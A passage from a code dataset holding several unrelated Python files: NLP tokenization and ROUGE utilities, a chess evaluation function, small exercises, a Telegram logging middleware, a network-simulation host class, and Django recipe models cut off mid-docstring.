input_ids_qo, attention_mask_qo = [], []\n for sample in samples:\n answerKey = sample['answerKey']\n question = sample['question']['stem']\n content = sample['fact1']\n for o_i, (opt, opt_name) in enumerate(zip(sample['question']['choices'], 'ABCD')):\n option = opt['text']\n input_ids_qo.append(content + question + sep + option)\n\n\n input_ids_q.append(content + question + sep)\n answer = ord(answerKey) - ord('A')\n answers.append(answer)\n output_clue.append(sample['question']['choices'][answer]['text'])\n\n # tokenizer = AutoTokenizer.from_pretrained(\"bert-base-uncased\", use_fast=True)\n def tokenizer_fun(input_ids, max_len):\n encoding = tokenizer(input_ids,\n padding='longest',\n max_length=max_len,\n truncation=True,\n return_tensors=\"pt\")\n ids = encoding.input_ids.to(device)\n mask = encoding.attention_mask.to(device)\n return ids, mask\n\n q_ids, q_mask = tokenizer_fun(input_ids_q, max_source_length)\n qo_ids, qo_mask = tokenizer_fun(input_ids_qo, max_source_length)\n clue_ids, _ = tokenizer_fun(output_clue, max_len_gen)\n clue_ids = torch.tensor(clue_ids, dtype=torch.long).to(device)\n answers = torch.tensor(answers, dtype=torch.long).to(device)\n return q_ids, q_mask, qo_ids, qo_mask, clue_ids, answers, output_clue\n\n\n\nrouge = rouge.Rouge()\ndef compute_rouge(source, target):\n\n source, target = ' '.join(source), ' '.join(target)\n try:\n scores = rouge.get_scores(hyps=source, refs=target)\n return {\n 'rouge-1': scores[0]['rouge-1']['f'],\n 'rouge-2': scores[0]['rouge-2']['f'],\n 'rouge-l': scores[0]['rouge-l']['f'],\n }\n except ValueError:\n return {\n 'rouge-1': 0.0,\n 'rouge-2': 0.0,\n 'rouge-l': 0.0,\n }\n\n\ndef compute_rouges(sources, targets):\n scores = {\n 'rouge-1': 0.0,\n 'rouge-2': 0.0,\n 'rouge-l': 0.0,\n }\n for source, target in zip(sources, targets):\n score = compute_rouge(source, target)\n for k, v in scores.items():\n scores[k] = v + score[k]\n return {k: v / len(targets) for k, v in scores.items()}\n\n","repo_name":"MY-Chen2000/CSE256-Proj","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7743989467","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 17 20:27:43 2020\n\n@author: leichen\n\"\"\"\nfrom pathlib import Path\nROOT_DIR = (Path(__file__).resolve().parent / '../../../').resolve()\nprint(ROOT_DIR)#\ntest_dir =Path(\"/media/leichen/SeagateBackupPlusDrive/KITTI_DATABASE\")\nprint(test_dir)\n","repo_name":"58733511/Rethink-FP-in-AVs-OpenPCDet","sub_path":"pcdet/datasets/kitti/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"27439419085","text":"from abc import ABC, abstractmethod\nimport chess\n\n\nclass Scorer(ABC):\n def __init__(self):\n pass\n\n @abstractmethod\n def evaluate(self, board: chess.Board) -> int:\n pass\n\n\n# https://www.chessprogramming.org/Simplified_Evaluation_Function\nclass SimplifiedEvaluationFunction(Scorer):\n def __init__(self):\n super().__init__()\n # We must mirror the array for white/black scoring since these boards aren't symmetrical\n self._black_pawn_scores = \\\n [0, 0, 0, 0, 0, 0, 0, 0,\n 50, 50, 50, 50, 50, 50, 50, 50,\n 10, 10, 20, 30, 30, 20, 10, 10,\n 5, 5, 10, 25, 25, 10, 5, 5,\n 0, 0, 0, 20, 20, 0, 0, 0,\n 5, -5, -10, 0, 0, -10, -5, 5,\n 5, 10, 10, -20, -20, 10, 10, 5,\n 0, 0, 0, 0, 0, 0, 0, 0]\n self._white_pawn_scores = self._black_pawn_scores[::-1]\n self._black_knight_scores = \\\n [-50, -40, -30, -30, -30, -30, -40, -50,\n -40, -20, 0, 0, 0, 0, -20, -40,\n -30, 0, 10, 15, 15, 10, 0, -30,\n -30, 5, 15, 20, 20, 15, 5, -30,\n -30, 0, 15, 20, 20, 15, 0, -30,\n -30, 5, 10, 15, 15, 10, 5, -30,\n -40, -20, 0, 5, 5, 0, -20, -40,\n -50, -40, -30, -30, -30, -30, -40, -50]\n self._white_knight_scores = self._black_knight_scores[::-1]\n self._black_bishop_scores = \\\n [-20, -10, -10, -10, -10, -10, -10, -20,\n -10, 0, 0, 0, 0, 0, 0, -10,\n -10, 0, 5, 10, 10, 5, 0, -10,\n -10, 5, 5, 10, 10, 5, 5, -10,\n -10, 0, 10, 10, 10, 10, 0, -10,\n -10, 10, 10, 10, 10, 10, 10, -10,\n -10, 5, 0, 0, 0, 0, 5, -10,\n -20, -10, -10, -10, -10, -10, -10, -20]\n self._white_bishop_scores = self._black_bishop_scores[::-1]\n self._black_rook_scores = \\\n [0, 0, 0, 0, 0, 0, 0, 0,\n 5, 10, 10, 10, 10, 10, 10, 5,\n -5, 0, 0, 0, 0, 0, 0, -5,\n -5, 0, 0, 0, 0, 0, 0, -5,\n -5, 0, 0, 0, 0, 0, 0, -5,\n -5, 0, 0, 0, 0, 0, 0, -5,\n -5, 0, 0, 0, 0, 0, 0, -5,\n 0, 0, 0, 5, 5, 0, 0, 0]\n self._white_rook_scores = self._black_rook_scores[::-1]\n self._black_queen_scores = \\\n [-20, -10, -10, -5, -5, -10, -10, -20,\n -10, 0, 0, 0, 0, 0, 0, -10,\n -10, 0, 5, 5, 5, 5, 0, -10,\n -5, 0, 5, 5, 5, 5, 0, -5,\n 0, 0, 5, 5, 5, 5, 0, -5,\n -10, 5, 5, 5, 5, 5, 0, -10,\n -10, 0, 5, 0, 0, 0, 0, -10,\n -20, -10, -10, -5, -5, -10, -10, -20]\n self._white_queen_scores = self._black_queen_scores[::-1]\n self._black_king_middle_game_scores = \\\n [-30, -40, -40, -50, -50, -40, -40, -30,\n -30, -40, -40, -50, -50, -40, -40, -30,\n -30, -40, -40, -50, -50, -40, -40, -30,\n -30, -40, -40, -50, -50, -40, -40, -30,\n -20, -30, -30, -40, -40, -30, -30, -20,\n -10, -20, -20, -20, -20, -20, -20, -10,\n 20, 20, 0, 0, 0, 0, 20, 20,\n 20, 30, 10, 0, 0, 10, 30, 20]\n self._white_king_middle_game_scores = self._black_king_middle_game_scores[::-1]\n self._black_king_end_game_scores = \\\n [-50, -40, -30, -20, -20, -30, -40, -50,\n -30, -20, -10, 0, 0, -10, -20, -30,\n -30, -10, 20, 30, 30, 20, -10, -30,\n -30, -10, 30, 40, 40, 30, -10, -30,\n -30, -10, 30, 40, 40, 30, -10, -30,\n -30, -10, 20, 30, 30, 20, -10, -30,\n -30, -30, 0, 0, 0, 0, -30, -30,\n -50, -30, -30, -30, -30, -30, -30, -50]\n self._white_king_end_game_scores = self._black_king_end_game_scores[::-1]\n\n def evaluate(self, board: chess.Board) -> float:\n piece_map = board.piece_map()\n white_score = 0\n black_score = 0\n is_endgame = self.is_endgame(board)\n for index, piece in piece_map.items():\n if piece == chess.Piece.from_symbol('p'):\n black_score += self._black_pawn_scores[index]\n if piece == chess.Piece.from_symbol('r'):\n black_score += self._black_rook_scores[index]\n if piece == chess.Piece.from_symbol('n'):\n black_score += self._black_knight_scores[index]\n if piece == chess.Piece.from_symbol('b'):\n black_score += self._black_bishop_scores[index]\n if piece == chess.Piece.from_symbol('q'):\n black_score += self._black_queen_scores[index]\n if piece == chess.Piece.from_symbol('k'):\n if is_endgame:\n black_score += self._black_king_end_game_scores[index]\n else:\n black_score += self._black_king_middle_game_scores[index]\n if piece == chess.Piece.from_symbol('P'):\n white_score += self._white_pawn_scores[index]\n if piece == chess.Piece.from_symbol('R'):\n white_score += self._white_rook_scores[index]\n if piece == chess.Piece.from_symbol('N'):\n white_score += self._white_knight_scores[index]\n if piece == chess.Piece.from_symbol('B'):\n white_score += self._white_bishop_scores[index]\n if piece == chess.Piece.from_symbol('Q'):\n white_score += self._white_queen_scores[index]\n if piece == chess.Piece.from_symbol('K'):\n if is_endgame:\n white_score += self._white_king_end_game_scores[index]\n else:\n white_score += self._white_king_middle_game_scores[index]\n\n return white_score - black_score\n\n @staticmethod\n def is_endgame(board: chess.Board) -> bool:\n # Using an endgame definition from : https://www.chessprogramming.org/Simplified_Evaluation_Function\n pieces = board.piece_map().values()\n white_queen = chess.Piece.from_symbol('Q')\n black_queen = chess.Piece.from_symbol('q')\n # we're in the endgame if neither side has a queen\n if black_queen not in pieces and white_queen not in pieces:\n return True\n # we're not in the endgame if both sides have their queen\n if black_queen in pieces and white_queen in pieces:\n return False\n # we're in the endgame if either side with a queen has, at most, one minor piece\n if black_queen in pieces:\n black_minor_pieces_count = len(\n [piece for piece in pieces if SimplifiedEvaluationFunction.is_black_minor_piece(piece)])\n return black_minor_pieces_count <= 1\n if white_queen in pieces:\n white_minor_pieces_count = len(\n [piece for piece in pieces if SimplifiedEvaluationFunction.is_white_minor_piece(piece)])\n return white_minor_pieces_count <= 1\n\n @staticmethod\n def is_black_minor_piece(piece: chess.Piece):\n if piece == chess.Piece.from_symbol('r') or \\\n piece == chess.Piece.from_symbol('b') or \\\n piece == chess.Piece.from_symbol('n'):\n return True\n return False\n\n @staticmethod\n def is_white_minor_piece(piece: chess.Piece):\n if piece == chess.Piece.from_symbol('R') or \\\n piece == chess.Piece.from_symbol('B') or \\\n piece == chess.Piece.from_symbol('N'):\n return True\n return False\n\n\n# https://www.chessprogramming.org/PeSTO%27s_Evaluation_Function\nclass PeSTOEvaluationFunction(Scorer):\n def evaluate(self, board: chess.Board) -> float:\n pass\n","repo_name":"jstrassburg/cs6230-chess-player","sub_path":"chess_player/Scorer.py","file_name":"Scorer.py","file_ext":"py","file_size_in_byte":7633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20683446364","text":"def odd_even(arr, eo):\r\n listt = []\r\n \r\n for i in arr:\r\n if eo == 'Odd':\r\n if (arr.index(i)+1) % 2 != 0: # odd\r\n \r\n listt.append(i)\r\n \r\n if eo == 'Even':\r\n\r\n if (arr.index(i)+1) % 2 == 0:\r\n \r\n listt.append(i)\r\n return listt\r\n \r\n\r\ntemp = list((input(\"*** Odd Even ***\\nEnter Input : \").split(',')))\r\narr = str(temp[1])\r\nif temp[0] == 'S':\r\n print('string')\r\n \r\n arr_li = list(arr.strip())\r\n \r\n print((''.join(odd_even(arr_li,temp[2]))))\r\n \r\n\r\nelif temp[0] == 'L':\r\n print('list')\r\n arr_li = list(arr.split(' '))\r\n print(odd_even(arr_li, temp[2]))\r\n \r\n","repo_name":"Imfirn/PythonLab","sub_path":"Lab2/Oddeven(2parameters).py","file_name":"Oddeven(2parameters).py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29414032286","text":"# -*- coding:utf-8 -*-\nimport json\nimport copy\nfrom typing import List, Dict, Callable, Any, TypeVar\nfrom bean.fields.bean_field import BeanField\nfrom bean.model.bean_model import BeanModel\nfrom bean.bean_error import BeanValueError, BeanAssertError, BeanValidationError\n\nPropertiesType = TypeVar(\"PropertiesType\", Dict[str, BeanField], BeanModel)\n\n\nclass ObjectField(BeanField):\n\n def __init__(self,\n required: bool = False,\n properties: PropertiesType = None,\n required_fields: List[str] = None,\n parse_handler: Callable[[Any], Dict] = None):\n self.required_fields = required_fields\n self._bean_properties: PropertiesType = properties\n handler = parse_handler or self.parse_object\n super(ObjectField, self).__init__(required, handler)\n\n def __getitem__(self, item):\n return self._bean_value.__getitem__(item)\n\n @property\n def value(self) -> Dict[str, Any]:\n properties = dict()\n for k, item in self._bean_value.items():\n properties[k] = item.value\n return properties\n\n @value.setter\n def value(self, value):\n if self._bean_properties is None:\n self._bean_value = {}\n return\n if isinstance(value, dict):\n value_decode = value\n else:\n value_decode = self.parse_handler(value)\n if not isinstance(self._bean_properties, BeanModel):\n object_value = dict()\n for k, field in self._bean_properties.items():\n val = value_decode.get(k, None)\n if not val:\n continue\n field.value = val\n object_value[k] = field\n self._bean_value = object_value\n else:\n self._bean_properties.bind(value_decode)\n self._bean_value = copy.deepcopy(self._bean_properties.model_value)\n\n @staticmethod\n def parse_object(value):\n if isinstance(value, str):\n value_decode = json.loads(value)\n return value_decode\n else:\n msg = f'expect value type dict or dict of json array, found {type(value)}'\n raise BeanValueError(msg, exception_path=(\"object.parse\",))\n","repo_name":"franklucky001/python-bean","sub_path":"bean/fields/object_field.py","file_name":"object_field.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14884398161","text":"\n\ndef decode_string(s: str):\n stack = []\n curr_num = 0\n curr_str = ''\n\n\n for char in s:\n if char.isdigit():\n curr_num = curr_num * 10 + int(char)\n \n elif char == \"[\":\n stack.append((curr_num, curr_str))\n curr_num = 0\n curr_str = ''\n \n elif char == \"]\":\n count, prev_str = stack.pop()\n print(count, prev_str)\n curr_str = prev_str + count * curr_str\n print(curr_str)\n \n else:\n curr_str += char\n \n return curr_str\n\n# # Example test cases\n# s1 = \"3[a]2[bc]\"\n# print(decode_string(s1)) # Output: \"aaabcbc\"\n\ns2 = \"3[a2[c]]\"\nprint(decode_string(s2)) # Output: \"accaccacc\"\n","repo_name":"Kalkulus1/python-recap","sub_path":"practice/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"74450768160","text":"from random import randint\nfrom genetic_algorithm import GeneticAlgorithm as ga\nimport math\n\n# to store number of generation\ngeneration = 1\n# to store the total distance (by default infinity)\nsum = math.inf\n# to early stop\ndropout_counter = 0\n# to store the best solution we have on a given generation\nbest_so_far = []\n\ndef ga_loop(dist, population, mutation_probability,dropout,n_generations) -> tuple: \n\n global generation\n global sum\n global best_so_far\n global dropout_counter\n\n # to stop on a particular epoch/generation\n if(generation == n_generations):\n return (sum, best_so_far)\n \n # if not getting better solution for a particular number of epochs, early stop, and return the best so far\n if(dropout[0] == True and dropout_counter == dropout[1]):\n print(\"\\n dropped out\")\n return (sum, best_so_far)\n \n # scores from fitting function\n scores = []\n \n # for every individual in the population find fitness, and get the (score, sum)\n for p in population:\n fitness = ga.fitness(dist, p, sum)\n scores.append(fitness[0])\n\n # if the found score is less than any previous best, replace it\n if(fitness[1] str:\n f, user, sender_chat, chat, info = decompose_update(update)\n\n user = user and user_info(user, sender_chat)\n chat = chat and chat_info(chat)\n\n chat = f\" | {chat}\" if chat else \"\"\n user = f\" | {user}\" if user else \"\"\n timeout = f\" [{elapsed_ms:>4} ms]\"\n\n return f\"{f.__class__.__name__}{timeout}{chat}{user} | {info}\"\n\n async def __call__(\n self,\n handler: Callable[[TelegramObject, dict[str, Any]], Awaitable[Any]],\n event: TelegramObject,\n data: dict[str, Any],\n ) -> Any:\n if not isinstance(event, Update):\n raise RuntimeError(\"Got an unexpected event type\")\n\n start_time = time.monotonic()\n\n response = await handler(event, data)\n\n elapsed_ms = round((time.monotonic() - start_time) * 1000)\n log = self.log_string(update=event, elapsed_ms=elapsed_ms)\n\n if response is UNHANDLED:\n return self.logger.debug(log)\n\n return self.logger.info(log)\n","repo_name":"uburuntu/algebrach","sub_path":"app/middlewares/log_updates.py","file_name":"log_updates.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"74336352161","text":"#! python3\r\n# readCensusExcelV2.py -\r\n\r\nimport openpyxl, os,pprint\r\nos.chdir('D:/Drive/Code/ATBSWP/Chapter_12')\r\nwb = openpyxl.load_workbook('censuspopdata.xlsx')\r\nws = wb[wb.sheetnames[0]]\r\ncounties = list(list(ws.columns)[2])\r\ncountiesDic = {}\r\n# county = ws.cell(row=[2:Final], column=3).value\r\n# countyValue = ws.cell(row=[2:Final], colum=4).value\r\nfor i in range(2,ws.max_row):\r\n countiesDic.setdefault(ws.cell(row=i,column=3).value,0)\r\n countiesDic[ws.cell(row=i,column=3).value] += ws.cell(row=i,column=4).value\r\n\r\n# Acces cell by index, locate \r\n\r\n\r\n\r\npprint.pprint(countiesDic)\r\ninput()","repo_name":"ids0/ATBSWP","sub_path":"Chapter_12/readCensusExcelV2.py","file_name":"readCensusExcelV2.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"23060263055","text":"\nclass Host:\n \"\"\"A single host in the network.\n\n Note this class is mainly used to store initial scenario data for a host.\n The HostVector class is used to store and track the current state of a\n host (for efficiency and ease of use reasons).\n \"\"\"\n\n def __init__(self,\n address,\n os,\n services,\n value=0.0,\n discovery_value=0.0,\n compromised=False,\n reachable=False,\n discovered=False):\n \"\"\"\n Arguments\n ---------\n address : (int, int)\n address of host as (subnet, id)\n os : dict\n A os_name: bool dictionary indicating which OS the host is runinng\n services: dict\n a (service_name, bool) dictionary indicating which services\n are present/absent\n value : float, optional\n value of the host (default=0.0)\n discovery_value : float, optional\n the reward gained for discovering the host (default=0.0)\n compromised : bool, optional\n whether host has been compromised or not (default=False)\n reachable : bool, optional\n whether host is reachable by attacker or not (default=False)\n discovered : bool, optional\n whether host has been reachable discovered by attacker or not\n (default=False)\n \"\"\"\n self.address = address\n self.os = os\n self.services = services\n self.value = value\n self.discovery_value = discovery_value\n self.compromised = compromised\n self.reachable = reachable\n self.discovered = discovered\n\n def is_running_service(self, service):\n return self.services[service]\n\n def is_running_os(self, os):\n return self.os[os]\n\n def __str__(self):\n output = [\"Host: {\"]\n output.append(f\"\\taddress: {self.address}\")\n output.append(f\"\\tcompromised: {self._compromised}\")\n output.append(f\"\\treachable: {self._reachable}\")\n output.append(f\"\\tvalue: {self.value}\")\n output.append(\"\\tservices: {\")\n for name, val in self.services.items():\n output.append(f\"\\t\\t{name}: {val}\")\n output.append(\"\\t}\")\n output.append(\"\\tOS: {\")\n for os_name, val in self.os.items():\n output.append(f\"\\t\\t{os_name}: {val}\")\n output.append(\"\\t}\")\n output.append(\"}\")\n return \"\\n\".join(output)\n\n def __repr__(self):\n return f\"Host: {self.address}\"\n","repo_name":"ankur8931/asap","sub_path":"cappuccino/Network_Attack_Simulator/nasim/scenarios/host.py","file_name":"host.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"54"} +{"seq_id":"24259467745","text":"\"\"\"Defines the database models for recipes and recipe types\"\"\"\nfrom __future__ import unicode_literals\n\nimport django.utils.timezone as timezone\nimport djorm_pgjson.fields\nfrom django.db import models, transaction\n\nfrom job.models import Job, JobType\nfrom recipe.configuration.data.recipe_data import RecipeData\nfrom recipe.configuration.definition.recipe_definition import RecipeDefinition\nfrom recipe.handler import RecipeHandler\nfrom recipe.triggers.configuration.trigger_rule import RecipeTriggerRuleConfiguration\nfrom storage.models import ScaleFile\nfrom trigger.configuration.exceptions import InvalidTriggerType\nfrom trigger.models import TriggerRule\n\n\n# IMPORTANT NOTE: Locking order\n# Always adhere to the following model order for obtaining row locks via select_for_update() in order to prevent\n# deadlocks and ensure query efficiency\n# When applying status updates to jobs: JobExecution, Queue, Job, Recipe\n# When editing a job/recipe type: RecipeType, JobType, TriggerRule\n\n\nclass RecipeManager(models.Manager):\n \"\"\"Provides additional methods for handling recipes\n \"\"\"\n\n def complete(self, recipe_id, when):\n \"\"\"Marks the recipe with the given ID as being completed\n\n :param recipe_id: The recipe ID\n :type recipe_id: :int\n :param when: The time that the recipe was completed\n :type when: :class:`datetime.datetime`\n \"\"\"\n\n modified = timezone.now()\n self.filter(id=recipe_id).update(completed=when, last_modified=modified)\n\n @transaction.atomic\n def create_recipe(self, recipe_type, event, data):\n \"\"\"Creates a new recipe for the given type and returns a recipe handler for it. All jobs for the recipe will\n also be created. The given recipe type model must have already been saved in the database (it must have an ID).\n The given event model must have already been saved in the database (it must have an ID). All database changes\n occur in an atomic transaction.\n\n :param recipe_type: The type of the recipe to create\n :type recipe_type: :class:`recipe.models.RecipeType`\n :param event: The event that triggered the creation of this recipe\n :type event: :class:`trigger.models.TriggerEvent`\n :param data: JSON description defining the recipe data to run on\n :type data: dict\n :returns: A handler for the new recipe\n :rtype: :class:`recipe.handler.RecipeHandler`\n\n :raises :class:`recipe.configuration.data.exceptions.InvalidRecipeData`: If the recipe data is invalid\n \"\"\"\n\n if not recipe_type.is_active:\n raise Exception('Recipe type is no longer active')\n if event is None:\n raise Exception('Event that triggered recipe creation is required')\n\n recipe = Recipe()\n recipe.recipe_type = recipe_type\n recipe.recipe_type_rev = RecipeTypeRevision.objects.get_revision(recipe_type.id, recipe_type.revision_num)\n recipe.event = event\n recipe_definition = recipe.get_recipe_definition()\n\n # Validate recipe data\n recipe_data = RecipeData(data)\n recipe_definition.validate_data(recipe_data)\n recipe.data = data\n recipe.save()\n\n # Create recipe jobs and link them to the recipe\n recipe_jobs = []\n jobs_by_name = self._create_recipe_jobs(recipe_definition, event)\n for job_name in jobs_by_name:\n recipe_job = RecipeJob()\n recipe_job.job = jobs_by_name[job_name]\n recipe_job.job_name = job_name\n recipe_job.recipe = recipe\n recipe_job.save()\n recipe_jobs.append(recipe_job)\n\n return RecipeHandler(recipe, recipe_jobs)\n\n @transaction.atomic\n def _create_recipe_jobs(self, recipe_definition, event):\n \"\"\"Creates and saves the job models for the recipe with the given definition. The given event model must have\n already been saved in the database (it must have an ID). All database changes occur in an atomic transaction.\n\n :param recipe_definition: The recipe definition\n :type recipe_definition: :class:`recipe.configuration.definition.recipe_definition.RecipeDefinition`\n :param event: The event that triggered the creation of this recipe\n :type event: :class:`trigger.models.TriggerEvent`\n :returns: A dictionary with each recipe job name mapping to its new job model\n :rtype: dict of str -> :class:`job.models.Job`\n \"\"\"\n\n # Create an associated job for each recipe reference\n results = {}\n for job_tuple in recipe_definition.get_jobs_to_create():\n job_name = job_tuple[0]\n job_type = job_tuple[1]\n job = Job.objects.create_job(job_type, event)\n job.save()\n results[job_name] = job\n\n return results\n\n def get_recipe_for_job(self, job_id):\n \"\"\"Returns the recipe, possibly None, for the job with the given ID. The returned model will have its related\n recipe_type and recipe_type_rev models populated.\n\n :param job_id: The job ID\n :type job_id: int\n :returns: The recipe model with related recipe_type and recipe_type-rev, possibly None\n :rtype: :class:`recipe.models.Recipe`\n \"\"\"\n\n recipe_job_qry = RecipeJob.objects.select_related('recipe__recipe_type', 'recipe__recipe_type_rev')\n try:\n recipe_job = recipe_job_qry.get(job_id=job_id)\n except RecipeJob.DoesNotExist:\n return None\n return recipe_job.recipe\n\n def get_recipe_handler_for_job(self, job_id):\n \"\"\"Returns the recipe handler (possibly None) for the recipe containing the job with the given ID. The caller\n must first have obtained a model lock on the job model for the given ID. This method will acquire model locks on\n all jobs models that depend upon the given job, allowing update queries to be made on the dependent jobs.\n\n :param job_id: The job ID\n :type job_id: int\n :returns: The recipe handler, possibly None\n :rtype: :class:`recipe.handler.RecipeHandler`\n \"\"\"\n\n handlers = self.get_recipe_handlers_for_jobs([job_id])\n if job_id not in handlers:\n return None\n return handlers[job_id]\n\n def get_recipe_handlers_for_jobs(self, job_ids):\n \"\"\"Returns recipe handlers for all of the recipes containing the jobs with the given IDs. The caller must first\n have obtained model locks on all of the job models for the given IDs. This method will acquire model locks on\n all jobs models that depend upon the given jobs, allowing update queries to be made on the dependent jobs. Note\n that a given job ID will not appear in the results if it does not exist within a recipe.\n\n :param job_ids: The job IDs\n :type job_ids: [int]\n :returns: The recipe handlers by job ID\n :rtype: {int: :class:`recipe.handler.RecipeHandler`}\n \"\"\"\n\n # Figure out all recipe IDs for the given job IDs\n recipe_ids_per_job_id = {} # {Job ID: [Recipe ID]}\n for recipe_job in RecipeJob.objects.filter(job_id__in=job_ids).iterator():\n if recipe_job.job_id not in recipe_ids_per_job_id:\n recipe_ids_per_job_id[recipe_job.job_id] = []\n recipe_ids_per_job_id[recipe_job.job_id].append(recipe_job.recipe_id)\n if not recipe_ids_per_job_id:\n return {}\n\n # Get handlers for all recipes and figure out dependent jobs to lock\n handlers = self._get_recipe_handlers_for_jobs(recipe_ids_per_job_id)\n job_ids_to_lock = set()\n for job_id in job_ids:\n if job_id in handlers:\n handler = handlers[job_id]\n job_ids_to_lock.union(handler.get_dependent_job_ids(job_id))\n\n if not job_ids_to_lock:\n # Dependent jobs, just return handlers\n return handlers\n\n # Lock dependent recipe jobs\n Job.objects.lock_jobs(job_ids_to_lock)\n\n # Return handlers with updated data after all dependent jobs have been locked\n return self._get_recipe_handlers_for_jobs(recipe_ids_per_job_id)\n\n def get_recipes(self, started=None, ended=None, type_ids=None, type_names=None, order=None):\n \"\"\"Returns a list of recipes within the given time range.\n\n :param started: Query recipes updated after this amount of time.\n :type started: :class:`datetime.datetime`\n :param ended: Query recipes updated before this amount of time.\n :type ended: :class:`datetime.datetime`\n :param type_ids: Query recipes of the type associated with the identifier.\n :type type_ids: list[int]\n :param type_names: Query recipes of the type associated with the name.\n :type type_names: list[str]\n :param order: A list of fields to control the sort order.\n :type order: list[str]\n :returns: The list of recipes that match the time range.\n :rtype: list[:class:`recipe.models.Recipe`]\n \"\"\"\n\n # Fetch a list of recipes\n recipes = Recipe.objects.all()\n recipes = recipes.select_related('recipe_type', 'recipe_type_rev', 'event')\n recipes = recipes.defer('recipe_type__definition', 'recipe_type_rev__recipe_type',\n 'recipe_type_rev__definition')\n\n # Apply time range filtering\n if started:\n recipes = recipes.filter(last_modified__gte=started)\n if ended:\n recipes = recipes.filter(last_modified__lte=ended)\n\n # Apply type filtering\n if type_ids:\n recipes = recipes.filter(recipe_type_id__in=type_ids)\n if type_names:\n recipes = recipes.filter(recipe_type__name__in=type_names)\n\n # Apply sorting\n if order:\n recipes = recipes.order_by(*order)\n else:\n recipes = recipes.order_by('last_modified')\n return recipes\n\n def get_details(self, recipe_id):\n \"\"\"Gets the details for a given recipe including its associated jobs and input files.\n\n :param recipe_id: The unique identifier of the recipe to fetch.\n :type recipe_id: :int\n :returns: A recipe with additional information.\n :rtype: :class:`recipe.models.Recipe`\n \"\"\"\n recipe = Recipe.objects.all()\n recipe = recipe.select_related('recipe_type', 'recipe_type_rev', 'event', 'event__rule')\n recipe = recipe.get(pk=recipe_id)\n\n # Update the recipe with source file models\n input_file_ids = recipe.get_recipe_data().get_input_file_ids()\n input_files = ScaleFile.objects.filter(id__in=input_file_ids)\n input_files = input_files.select_related('workspace').defer('workspace__json_config')\n input_files = input_files.order_by('id').distinct('id')\n recipe.input_files = [input_file for input_file in input_files]\n\n # Update the recipe with job models\n jobs = RecipeJob.objects.filter(recipe_id=recipe.id)\n jobs = jobs.select_related('job', 'job__job_type', 'job__event', 'job__error')\n recipe.jobs = jobs\n return recipe\n\n def _get_recipe_handlers_for_jobs(self, recipe_ids_per_job_id):\n \"\"\"Returns handlers for the recipes tied to each job ID\n\n :param recipe_ids_per_job_id: Each job ID mapping to its corresponding recipe IDs\n :type recipe_ids_per_job_id: {int: [int]}\n :returns: The recipe handlers by job ID\n :rtype: {int: :class:`recipe.handler.RecipeHandler`}\n \"\"\"\n\n all_recipe_ids = set()\n for job_id in recipe_ids_per_job_id:\n for recipe_id in recipe_ids_per_job_id[job_id]:\n all_recipe_ids.add(recipe_id)\n\n handlers = {} # {Job ID: Recipe handler}\n recipes = RecipeJob.objects.get_recipe_data(all_recipe_ids)\n for job_id in recipe_ids_per_job_id:\n recipe_id = recipe_ids_per_job_id[job_id][0]\n recipe = recipes[recipe_id][0]\n recipe_jobs = recipes[recipe_id][1]\n handler = RecipeHandler(recipe, recipe_jobs)\n handlers[job_id] = handler\n return handlers\n\n\nclass Recipe(models.Model):\n \"\"\"Represents a recipe to be run on the cluster\n\n :keyword recipe_type: The type of this recipe\n :type recipe_type: :class:`django.db.models.ForeignKey`\n :keyword recipe_type_rev: The revision of the recipe type when this recipe was created\n :type recipe_type_rev: :class:`django.db.models.ForeignKey`\n :keyword event: The event that triggered the creation of this recipe\n :type event: :class:`django.db.models.ForeignKey`\n\n :keyword data: JSON description defining the data for this recipe\n :type data: :class:`djorm_pgjson.fields.JSONField`\n\n :keyword created: When the recipe was created\n :type created: :class:`django.db.models.DateTimeField`\n :keyword completed: When every job in the recipe was completed successfully\n :type completed: :class:`django.db.models.DateTimeField`\n :keyword last_modified: When the recipe was last modified\n :type last_modified: :class:`django.db.models.DateTimeField`\n \"\"\"\n\n recipe_type = models.ForeignKey('recipe.RecipeType', on_delete=models.PROTECT)\n recipe_type_rev = models.ForeignKey('recipe.RecipeTypeRevision', on_delete=models.PROTECT)\n event = models.ForeignKey('trigger.TriggerEvent', on_delete=models.PROTECT)\n\n data = djorm_pgjson.fields.JSONField()\n\n created = models.DateTimeField(auto_now_add=True)\n completed = models.DateTimeField(blank=True, null=True)\n last_modified = models.DateTimeField(auto_now=True)\n\n objects = RecipeManager()\n\n def get_recipe_data(self):\n \"\"\"Returns the data for this recipe\n\n :returns: The data for this recipe\n :rtype: :class:`recipe.configuration.data.recipe_data.RecipeData`\n \"\"\"\n\n return RecipeData(self.data)\n\n def get_recipe_definition(self):\n \"\"\"Returns the definition for this recipe\n\n :returns: The definition for this recipe\n :rtype: :class:`recipe.configuration.definition.recipe_definition.RecipeDefinition`\n \"\"\"\n\n return RecipeDefinition(self.recipe_type_rev.definition)\n\n class Meta(object):\n \"\"\"meta information for the db\"\"\"\n db_table = 'recipe'\n index_together = ['last_modified', 'recipe_type']\n\n\nclass RecipeJobManager(models.Manager):\n \"\"\"Provides additional methods for handling jobs linked to a recipe\n \"\"\"\n\n def get_recipe_data(self, recipe_ids):\n \"\"\"Returns the recipe, recipe_job, and job models for the given recipe IDs with the 